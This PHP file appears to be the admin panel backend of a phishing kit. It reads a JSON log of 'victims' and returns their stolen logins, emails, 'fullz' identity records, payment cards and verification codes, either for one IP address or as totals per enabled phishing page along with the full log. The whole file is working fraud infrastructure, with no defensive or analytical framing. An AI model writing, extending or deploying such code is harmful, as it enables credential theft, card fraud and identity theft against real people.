<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/antibot.php');
require_once($_SERVER['DOCUMENT_ROOT'].'/admin/config.php');

$logs_file = __DIR__ . '/files/logs/all_logs.json';
$response = [];

if (file_exists($logs_file)) {
    $json_str = file_get_contents($logs_file);
    if ($json_str !== false) {
        $json_data = json_decode($json_str, true);
        if (json_last_error() === JSON_ERROR_NONE) {
            $logs_data = $json_data['all_logs'] ?? [];
            
            // If IP is provided, return data for that specific IP
            if (isset($_GET['ip'])) {
                $ip = $_GET['ip'];
                foreach ($logs_data as $victim) {
                    if ($victim['ip'] === $ip) {
                        echo json_encode([
                            'logins' => $victim['logins'] ?? [],
                            'emails' => $victim['emails'] ?? [],
                            'fullz' => $victim['fullz'] ?? [],
                            'cards' => $victim['cards'] ?? [],
                            'codes' => $victim['codes'] ?? []
                        ]);
                        exit;
                    }
                }
                echo json_encode(['error' => 'IP not found']);
                exit;
            }
            
            // If no IP provided, return full stats and data
            $config = get_config();
            $totals = [
                'logins' => 0,
                'emails' => 0,
                'fullz' => 0,
                'cards' => 0,
                'codes' => 0,
                'visitors' => intval($json_data['vistors'] ?? 0),
                'total_victims' => count($logs_data)
            ];
            
            foreach ($logs_data as $victim) {
                if ($config['PAGE_SETTINGS']['LOGIN_PAGE']) {
                    $totals['logins'] += isset($victim['logins']) ? count($victim['logins']) : 0;
                }
                if ($config['PAGE_SETTINGS']['EMAIL_PAGE']) {
                    $totals['emails'] += isset($victim['emails']) ? count($victim['emails']) : 0;
                }
                if ($config['PAGE_SETTINGS']['FULLZ_PAGE']) {
                    $totals['fullz'] += isset($victim['fullz']) ? count($victim['fullz']) : 0;
                }
                if ($config['PAGE_SETTINGS']['CARD_PAGE']) {
                    $totals['cards'] += isset($victim['cards']) ? count($victim['cards']) : 0;
                }
                if ($config['PAGE_SETTINGS']['CODE_PAGE']) {
                    $totals['codes'] += isset($victim['codes']) ? count($victim['codes']) : 0;
                }
            }
            
            // Add the full logs data to the response
            $totals['all_logs'] = $logs_data;
            
            echo json_encode($totals);
            exit;
        }
    }
}

echo json_encode(['error' => 'Failed to read logs file']);
exit; 